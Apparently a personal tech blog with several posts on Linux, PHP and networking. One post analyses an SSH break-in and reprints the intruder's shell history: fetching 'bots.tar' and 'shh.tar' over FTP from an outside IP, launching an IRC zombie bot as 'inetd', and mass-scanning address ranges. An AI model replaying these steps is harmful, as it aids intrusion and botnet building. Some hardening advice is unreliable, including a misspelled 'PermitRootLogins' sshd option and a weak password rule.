Yet Another Autoresponder (YAA) installation

I just finished a very grueling installation of a nifty little autoresponder called “Yet Another Autoresponder” (YAA.) The software is Perl based and requires only a few modules which can easily be installed or upgraded via CPAN. However, my difficulties in getting this system working were due to YAA not being able to find the configuration file (yaa.conf). What clued me in to the idea that YAA was not able to find the configuration file was the somewhat ambiguous error message in the maillog:

(Command died with status 1: "/usr/local/yaa/bin/yaa.pl". Command output: Cannot continue, becouse [sic] no lookup maps were defined. )

Looking through the sparse “documentation,” there is no mention of where to put the configuration file. I moved the yaa.conf file to various locations around the file system without any success. Finally, I took matters into my own hands and edited yaa.pl by hand. If you find yourself in the predicament, give this a try:

1) Copy yaa.conf to wherever you want it to reside. I chose the standard configuration path of /etc
2) Edit yaa.pl using your favorite editor and change the following line of code from:

$YAA_DEFAULT_CONFIG_FILE = $module_dir . YAA_SLASH . ".." . YAA_SLASH . "conf" . YAA_SLASH . "yaa.conf";

To:

$YAA_DEFAULT_CONFIG_FILE = "/etc/yaa.conf";

Of course be sure to replace /etc with the path of where you copied your yaa.conf.

After a quick test, I received my autoreponse. Double-checking /var/log/maillog showed no errors or complaints from YAA.

Regular expression for CSV files

After many hours of searching, I found this regular expression to work the best on parsing CSV files:

$expr = “/,(?=(?:[^\"]*\”[^\"]*\”)*(?![^\"]*\”))/”;

Example:

$matches = preg_split($expr, ’2006-01-01, “Apples, Oranges, and Pears”, $5.95′);

CafeRadius

As some of you know, on Saturday April 1st the first beta test of CafeRadius was unleashed on a small cafe near my home in Seattle. Several weeks prior to this day, I met with the owner of the cafe and gave him a breakdown of the project. He seemed genuinely enthusiastic about it. Although his cafe was relatively new and still building a clientele, he was nice enough to allow me to test the device.

After nearly seven months of development and testing in my own computer lab, I was amazed at how many bugs and “kinks” you can find by testing in a real-world environment.

And the results of the test?
I couldn’t get it off the ground with the networking layout at the cafe. And adding customers to the database of allowed users was not convenient for the cashiers.

So what does this mean?
Certainly not failure. On the contrary, I took the whole experience as motivation to make it even easier to setup, configure, and more extensible on varying network layouts. I also must design an alternate method of adding customers to the user database as some cafes cannot / would not want to deal with the inconvenience of the current system.

In another few weeks I will have these ideas solidified and release another version of the CafeRadius device.

PHP & database sessions

If you have MySQL handle your PHP sessions and are finding that session data is not reliably being read after redirects via PHP’s header function, please read on.

For over a day I had been pulling my hair out trying to figure out why sessions were not sync’ing up after redirects via PHP’s header function. Some pages would load and others would not. I had just finished migrating our code base to a new server running slightly different versions of Apache, MySQL, and PHP – though from the same branches.

After some expirimentation, I discovered sessions handled by the defalt file handler would work just fine – just not reliadbly through my custom database handler. After even further investigation, redirects were working, the data for the session was “late” showing up and by simply refreshing the screen the data would be magically populated in $_SESSION.

After some reading around on the internet and some deep thinking, I understood the problem to be an issue of timing and/or cache timing issues. So, to resolve the issue, I add the session_write_close() command before each redirect I need. It works. Although, do not ask me why.

My LAMP versions:
Linux: RHEL 4.0
Apache: 2.0.52-22.ent
MySQL: 4.1.12-3.RHEL4.1
PHP: 4.3.9-3.9

Hope this saves someone!

Linux + Onboard SATA RAID

Are you considering using the onboard RAID feature of your SATA controller? Before you dive head-on into this project – there are a few things you should know.

Recently, my job took me into territory that was somewhat unfamiliar – the server realm. When I say server, I don’t mean a home server most of us Linux enthusiasts have. I mean a server – dual Opteron, 8GB RAM, and 2 x 320GB hard drives. The kind of server that can handle complex database queries in a matter of a few nano seconds. The kind of server that must be 100% secure and reliable. Our hope was to run the drives in a RAID-1 configuration for maximum stability. For those unfamiliar with RAID, a RAID-1 array mirrors data from one drive to another. This can really speed up disk reads and also gives you a very stable environment when using failover support – i.e. if one drive happens to die on you, the OS will automatically rollover to the backup disk. I had never setup a RAID array before, but felt confident that it could not be too difficult – of course, I was wrong.

The motherboard we selected for our server (a Tyan S2881) has four SATA connectors and a RAID controller. On initial power-up, I entered the BIOS and enabled the RAID controller for the SATA. Once RAID had been enabled, I entered the RAID BIOS and created the RAID-1 array using both disks. Assuming the RAID controller would handle everything else and that Linux would detect it, I continued with my installation of RedHat Enterprise Linux 4.0

I was gravely mistaken. Here is the issue: most newer motherboards that claim to have RAID support, have what is known as FakeRAID – essentially a software RAID. Drivers for these FakeRAID controllers found on most motherboards is not really supported in newer kernels. In my case, a Silicon Image 3114 controller, had a driver in the kernel but only supported the standard SATA protocol and did not enable any of the FakeRAID features of this chipset. Reading on boards and forums around the ‘net, I was informed that disabling the RAID controller in the BIOS and simply using the built-in software RAID within Linux was a much better alternative and was no better or worse than using the FakeRAID for my chipset.

Unsure if these claims were true, I spent some time finding a linux driver for my Silicon Image 3114 RAID controller. The manufacturer had them posted on their website along with installation directions. Half a work day was spent wrestling with these drivers reformating, repartionting. In the end I abandoned the idea of using the onboard RAID controller and proceeded to use the Software RAID option found in RedHat Linux.

After a successful install of RedHat Enterprise Linux 4 onto a RAID-1 array, I found that the boot loader was not correctly installed. If you run into the case where, after a successful install of Linux onto a RAID array, you are presented with simply: “GRUB” at boot up – do not worry. Grab your install CD or DVD and boot using “linux rescue”. Once booted, run:

grub
root (hd0,0)
setup (hd0)

Now reboot and you should be in business. Don’t forget to remove the install CD or DVD from the drive.

Heed my words, unless the RAID controller on your motherboard is a true hardware RAID controller, do not waste your time trying to get the FakeRAID working.

Microsoft Remote Keyboard

The latest gadget in the Media Center line is welcomed with open-arms into my ten-foot experience. The Microsoft Remote Keyboard for Windows XP Media Center Edition is a slim lap friendly keyboard designed around the Media Center enthusiast and couch web surfer. The device contains not only a full QWERTY keyboard but also all of the features found on the standard Media Center Remote control – such as shortcut keys for volume, channel, stop, play, pause, etc. and can easily be slid under the couch when not needed where you can resume using your regular remote. The keyboard even connects through the same IR dongle and as your Media Center remote – this was an important factor for me as I hate having multiple IR receivers for every IR device.

The keyboard is about the same size and layout as a standard laptop. The keys are crisp and clean and offer just enough resistance to the touch. I wouldn’t want to write a term paper using this keyboard, but for sending e-mail and browsing the ‘net, it’s perfect.

Another welcomed feature, though somewhat difficult to use, is the inclusion of a pointing device in the upper right corner of the keyboard. The “nubby” (as many call it) is similar to that of IBM laptops and is simply a plastic “nub” that extends from the keybaord by a 1/4 inch and can be nudged all 360 degrees. The only problem is, these “nubby” pointing devices are inaccurate and take quite some time getting used to. After an hour of surfing the net, I was finally able to get the correct pressure applied to the “nubby” and became relatively confident in my control over the mouse pointer. Clicking is achieved by two buttons located in the upper left of the keyboard and provide both a “left” click and “right” click.

Some other interesting features include a backlight button that supplies a soft amber light to the remote control buttons upon depress, a very small keyboard lock switch to prevent accidental key presses, and a “finally they got it” feature – programmable buttons for TV power, volume, and channel. By hitting a sequence of buttons on the keyboard, then pressing the desired buttons on your regular TV remote, you can train your keyboard to apply the same IR frequency. For example, the standard Media Center remote has a button to power down the PC but no button to power down your TV. By using the programmable feature of the keyboard, I hit the power button on my TV remote that is pointed directly at the keyboard and I now have the ability to power down both my PC and TV. Very cool.

For anyone serious about their Media Center, and especially for those with HiDef TV’s, this keyboard is a must have and can really add some great functionality and I highly recommend it.

Product Details
Requires:

• Microsoft Windows XP Media Center Edition 2005
• Media Center Edition IR receiver
• Update Rollup 1 for eHome Infrared Receiver

Power: 4 x AA batteries (supplied)
Connectivity: Wireless IR (30 ft radius)
Dimesions: 17.5″ x 5.5″ x 1.25″
List price: $99.99
Best price: $75.99 at Buy.com

Anatomy of an SSH Brute Force Dictionary Attack

A few weeks ago I wrote that I had been noticing a large number of attempted SSH brute force dictionary attacks on my server. None were successful but I published some ways to protect yourself. This morning at 8am – a would be hacker succeeded in a dictionary attack – what he left behind was very interesting.

I wrote that my server was safe enough from these attacks and that my passwords were strong and the likelyhood someone could break into the server was virtually nill. There was one problem – I was not the only user of the server. I have several accounts that (well trusted) friends are allowed to use and one of them changed his password so that it matched his username. Since dictionary attacks look for this exact vulnerability when scanning – it did not take long for him to get in. Of course the account was not privileged in *any* way so no serious danger was caused. I was fortunate enough to notice the router lights going crazy this morning before I left for work. Curious as to what was going on, I poked around a bit and noticed a large volume of UDP traffic and figured out that I had been hacked. I immediatley disconnected the WAN port and began to investigate further.

What I found was very interesting and feel that I should share with everyone the anatomy of an SSH brute force hack.

The first thing I did was look at the .bash_history file in the user’s home directory which I shall call joe. The .bash_history is a list of all the commands you have typed in. The following is the content of that file:
ls
ls -lFa
ls
uptime
ls
cd /tmp
ls
cd ". "
passwd
/sbin/ifconfig | grep inet
wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz
ls
rm -rf superrescue-2.1.2.iso.gz
ftp 212.247.250.250
tar xvf bots.tar
cd .bot
PATH="."
inetd
cd /tmp
tar xvf shh.tar
cd shh
ls
./scan 206.77
./scan 206.78
./scan 206.79
[ Note: there were many scan attempts]
c d/tmp
cd /tmp
cd shh
./scan 70.176
./scan 70.177
./scan 70.178
./scan 70.179
./scan 70.180
./scan 70.181
cd /tmp
cd shh
la
ls
cat vuln.txt
./scan 24.55
./scan 24.56
./scan 24.57
./scan 24.58
./scan 24.59
./scan 24.60
./scan 24.61
./scan 24.62
./scan 24.63
./scan 24.64

./scan 24.65
./scan 24.66
./scan 24.67
./scan 24.68
./scan 24.70
./scan 24.71
cd /tmp
cd shh
ls
cat vuln.txt
./scan 61.155
./scan 61.156
./scan 61.157
./scan 61.158
./scan 61.159
./scan 61.160
./scan 61.161
./scan 61.162
./scan 61.163
./scan 61.164
./scan 61.165
./scan 61.166
./scan 61.167
./scan 61.168
./scan 61.169
./scan 61.170
cd /tmp
cd shh
ls
cat vuln.txt
./scan 217.155
./scan 217.156
./scan 217.157
./scan 217.158
./scan 217.159
./scan 217.160
cd /tmp
cd shh
ls
cat vuln.txt
./scan 203.158
./scan 203.159
./scan 203.160
./scan 203.161
./scan 203.162
./scan 203.163
./scan 203.165
./scan 203.168
./scan 203.170
./scan 203.171
./scan 203.172
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 192.145
./scan 192.146
./scan 192.147
./scan 192.148
./scan 192.149
./scan 192.150
./scan 192.151
./scan 192.152
./scan 192.153
./scan 192.154
./scan 192.155
./scan 192.156
./scan 192.157
./scan 192.158
./scan 192.159
./scan 192.160
./scan 192.161
./scan 192.162
./scan 192.163
./scan 192.164
./scan 192.165
./scan 192.166
./scan 192.167
./scan 192.168
./scan 192.169
./scan 192.170
./scan 192.171
./scan 192.172
./scan 192.173
./scan 192.174
./scan 192.175
./scan 192.176
./scan 67.45
cd /tmp
cd shh
./scan 67.44
cd /tmp
c dshh
cd shh
ls
cat vuln.txt
./scan 192.177
./scan 192.178
./scan 66.155
./scan 66.156
./scan 66.157
./scan 66.158
./scan 66.159
./scan 66.160
./scan 66.161
./scan 66.162
./scan 66.163
./scan 66.164
./scan 66.165
./scan 66.166
./scan 66.167
./scan 66.168
./scan 66.169
./scan 66.170
./scan 66.171
cd /tmp
cd shh
ls
cat vuln.txt
./scan 81.155
./scan 81.156
./scan 81.157
./scan 81.159
./scan 81.160
./scan 81.161
./scan 81.162
./scan 81.164
./scan 81.165
./scan 128.155
./scan 128.156
./scan 128.157
./scan 128.158
./scan 128.159
./scan 128.160
./scan 128.162
./scan 128.163
./scan 128.164
./scan 128.165
./scan 128.166
./scan 128.167
./scan 128.168
./scan 128.170
./scan 128.171
./scan 128.172
./scan 128.173
./scan 128.174
./scan 128.175
./scan 128.176
./scan 128.177
./scan 128.178
./scan 128.179
./scan 128.180
./scan 128.181
./scan 128.182
./scan 128.183
./scan 128.184
./scan 128.185
c d/tmp
cd /tmp
cd shh
ls
cat vuln.txt
./scan 80.155
./scan 80.156
./scan 80.157
./scan 80.158
./scan 80.159
./scan 213.177
./scan 213.17 8
./scan 213.178
./scan 213.179
./scan 213.180
./scan 213.181
./scan 213.182
./scan 213.183
./scan 213.184
./scan 213.185
./scan 213.186
./scan 213.187
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 67.100
./scan 67.101
./scan 67.102
./scan 67.103
./scan 67.104
./scan 67.105
./scan 67.106


What’s going on above? The hacker logged in and checked some things out in the home directory (ls, ls -lFa). Then wanted to seee how long the server had been up for (uptime). Then, the hacker changed the password of the hacked account (passwd) and wanted to see what the IP address was of any interfaces on the machine (/sbin/ifconfig | grep inet).

Next, for some bizarre reason, he wanted to test the internet connection and read/writeability of the home directory (?) by issueing the command wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz. After the file finished downloading, he immediately deleted it (rm -rf superrescue-2.2.2.iso.gz).

Now, he really gets to work by grabbing the necessary tools needed to exploit the server. Using FTP, he goes out and grabs two files, namely bots.tar and shh.tar.

The file size and contents of bots.tar is as follows:
File name: bots.tar
File size: 337920 bytes
Contents: drwxr-xr-x apache/apache 0 2005-08-29 05:26:06 .bot/
-rw-r--r-- apache/apache 65536 2003-03-30 09:04:34 .bot/core
-rwxr-xr-x apache/apache 143683 2003-10-21 10:16:53 .bot/inetd
-rw-r--r-- apache/apache 84 2005-08-29 05:25:36 .bot/mech.users
-rw------- apache/apache 12288 2005-05-09 06:43:43 .bot/.mech.users.swp
-rw-r--r-- apache/apache 22935 2001-04-06 13:00:50 .bot/mech.help
-rw-r--r-- apache/apache 1116 2005-08-29 05:23:08 .bot/mech.session
drwxr-xr-x apache/apache 0 2001-09-06 22:17:30 .bot/randfiles/
-rw-r--r-- apache/apache 830 2001-04-06 13:01:20 .bot/randfiles/randkicks.e
-rw-r--r-- apache/apache 2495 2001-04-06 13:01:34 .bot/randfiles/randpickup.e
-rw-r--r-- apache/apache 55316 2001-04-06 13:15:24 .bot/randfiles/randsay.e
-rw-r--r-- apache/apache 519 2001-04-06 13:01:26 .bot/randfiles/randnicks.e
-rw-r--r-- apache/apache 1465 2001-04-06 13:15:54 .bot/randfiles/randversions.e
-rw-r--r-- apache/apache 633 2001-04-06 13:15:42 .bot/randfiles/randsignoff.e
-rw-r--r-- apache/apache 5195 2001-04-06 13:01:10 .bot/randfiles/randaway.e
-rw-r--r-- apache/apache 2854 2001-04-06 13:01:16 .bot/randfiles/randinsult.e
-rw-r--r-- apache/apache 84 2005-08-29 05:25:52 .bot/mech1.users
-rw-r--r-- apache/apache 942 2001-04-06 13:00:32 .bot/checkmech
-rw-r--r-- apache/apache 84 2005-08-29 05:26:06 .bot/mech2.users
-rw-r--r-- apache/apache 6 2005-05-09 06:56:36 .bot/mech.pid
-rw-r--r-- apache/apache 2857 2005-08-29 05:24:15 .bot/mech.set
-rw-r--r-- apache/apache 1011 2005-05-09 07:00:02 .bot/mech.levels


The file size and contents of shh.tar is as follows:
File name: shh.tar
File size: 1413120 bytes
Contents: drwxr-xr-x support/support 0 2005-11-02 03:16:45 shh/
-rw-rw-r-- support/support 0 2005-11-02 02:50:33 shh/scan.log
-rwxr-xr-x support/support 282 2005-11-02 02:50:12 shh/scan
-rwxr-xr-x support/support 285 2005-11-02 02:49:20 shh/a
-rw-rw-r-- support/support 0 2005-11-02 02:49:36 shh/nobash.txt
-rw-rw-r-- support/support 0 2005-11-02 00:12:23 shh/vuln.txt
-rwxr-xr-x support/support 1384518 2005-06-05 13:24:05 shh/sshd
-rwxr-xr-x support/support 5944 2005-05-15 15:05:13 shh/pscan2
-rw-r--r-- support/support 5797 2005-05-15 14:53:29 shh/pscan2.c
-rw-rw-r-- support/support 2270 2005-11-02 03:16:45 shh/pass.txt


Once bot.tar was untarred, a local inetd daemon was started. I ran the inetd daemon and did a port scan on my own machine to see what port(s) it had opened up. It had created its own IRC server and was listening for commands – indicative of a so-called “Zombie bot” used in Distributed Denial Of Service (DDoS) attacks. Once inetd was loaded, the hacker began using my machine as another base of operations in scanning IP addresses that were also vulnerable to SSH dictionary attacks. After each ./scan X.Y all vulnerable IPs were logged in vuln.txt which is why he dumped out the contents of the file after each scan (cat vuln.txt).

How can you protect your server from such an attack?

Follow these simple guidelines:
1) Use good *strong* passwords (i.e. Six characters, upper AND lower case characters and at least one numeral). If you have other users, assign them a password that is difficult to guess and *do not* let them change it or enforce password rules mentioned above.
2) Disable root logins via SSH
3) Use the firewall rules I posted to drop packets after several failed SSH login attempts in X seconds

PHP hotspot login script for Chillispot

I offer a modified version of drewb’s PHP version of hotspotlogin.cgi that contains support for PHP installs that do not register global variables.

Grab a copy today!

wlogin-1.20a

Building an embedded linux Radius appliance – Part 2

Choosing the right distro for a custom embedded Linux system is not easy. Most distros will not even install the most basic elements of the operating system in less than 512MB of space.

To begin the second phase of this project, I decided to partition an old hard drive to only 512MB – just to see if I could get a fully functional Linux system with Apache, PHP, and of course MySQL. FreeBSD 5.4 was my first choice of OS. After I kept receiving Singal 11 errors due to the fact that the install needed more than 512MB of hard drive space, I quickly moved on to explore pre-built LiveCD images designed to be installed to hard disc, Compact Flash, or a USB thumbdrive.

I was immediately surprised to see the number of projects available for embedded systems – however, since I did not even have my WRAP.1E motherboard and the compact flash card yet, I put these ideas on ice. One very noteworthy mention though is the m0n0wall project. m0n0wall can be installed on a CF or is available as a bootable LiveCD and provides advanced routing & firewall protection with an extremely well designed Web GUI configuration front end. By inserting a floppy into the machine, you can save your preferences for later retrieval. I decided to model the level of configuration and clean looking configuration GUI after this distro.

After other disappointed attempts at installing pre-made images for embedded systems, I moved onto a distro I rarely think about anymore: Slackware. Slackware is a great distro for advanced users who need a slim and trim install. There’s no fluff with Slackware. In fact, by choosing only the most basic setup options in the installer, I was able to get my install working on just 125MB of of hard drive space. This install included Apache and PHP.

To get your own pre-image / prototype working, format a hard drive to just 512MB (preferably the first partition). Download and burn just the first Slackware CD. Slackware does not have ISO images available directly from their website or mirrors, however, you can get the ISO using BitTorrent at slackware.com/torrent. Boot the CD and install only these package groups:

A, AP, L, and N

Be sure to choose the Expert mode install so you can also select the individual packages. Uncheck everything that is unnecessary, i.e. audio, graphics, X support, gcc, etc. and check those packages we do want, i.e. Apache (with mod_ssl), PHP, MySQL, OpenSSL, etc.

After installation and boot up, it took a few more rounds of installing necessary libraries. You can easily install needed libraries by mounting the Slackware install CD and changing to the the directory /mnt/cdrom/slackware/l (assuming your CD is mounted under /mnt/cdrom). Then type pkgtool and select Current directory. It will then list each and every package in the directory and prompt you with Yes / No / Cancel. In my install, I needed some extra libraries to get PHP and MySQL working properly.

Once you get all the necessary packages installed and configured, spend some time ensuring everything works. Check that your network interfaces are up and properly configured and that after a reboot, all daemons are started. Remember, we want a system that is bootable and does not require logging in to a console to start or configure.

See you in a few days!

SSH Brute Force Dictionary Attack

I’ve been noticing a lot of attempted brute force attacks on port 22 (SSH) – undoubtedly from script kiddies. Many times, out of curiosity, I reverse DNS the IP and find a business website (usually in Korea or China) on the other end. I am sure these businesses have no idea their website has been hacked (probably on port 22) and is being used as a base of operations for bots that scour the net for other brute force attacks.

The chance these scripts, running through the most common username/password combos found on servers, would break into my server is highly unlikely. I have good strong passwords not based on a dictionary word and have disabled root logins for SSH. However, why even give them the chance? A little searching on the internet and a little firewall knowledge a la IPTABLES produces the following firewall rules:

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP

These rules will basically drop packets that have attempted to logon more that 4 times in 60 seconds on port 22 (SSH). Of course, once hackers figure this out, they can limit their connection attempts to only three per minute — but I will have new rules waiting when that happens.

Protect yourself by ensuring your passwords are strong, disable root SSH logins, and adding these firewall rules to your sever.

To disable root logins for SSH, edit your /etc/ssh/sshd_config file. Then find the section labeled #Authentication:. You will find an option #PermitRootLogins yes – change this line to read:

PermitRootLogins no

Then restart your ssh daemon by issueing the command: /etc/init.d/sshd restart.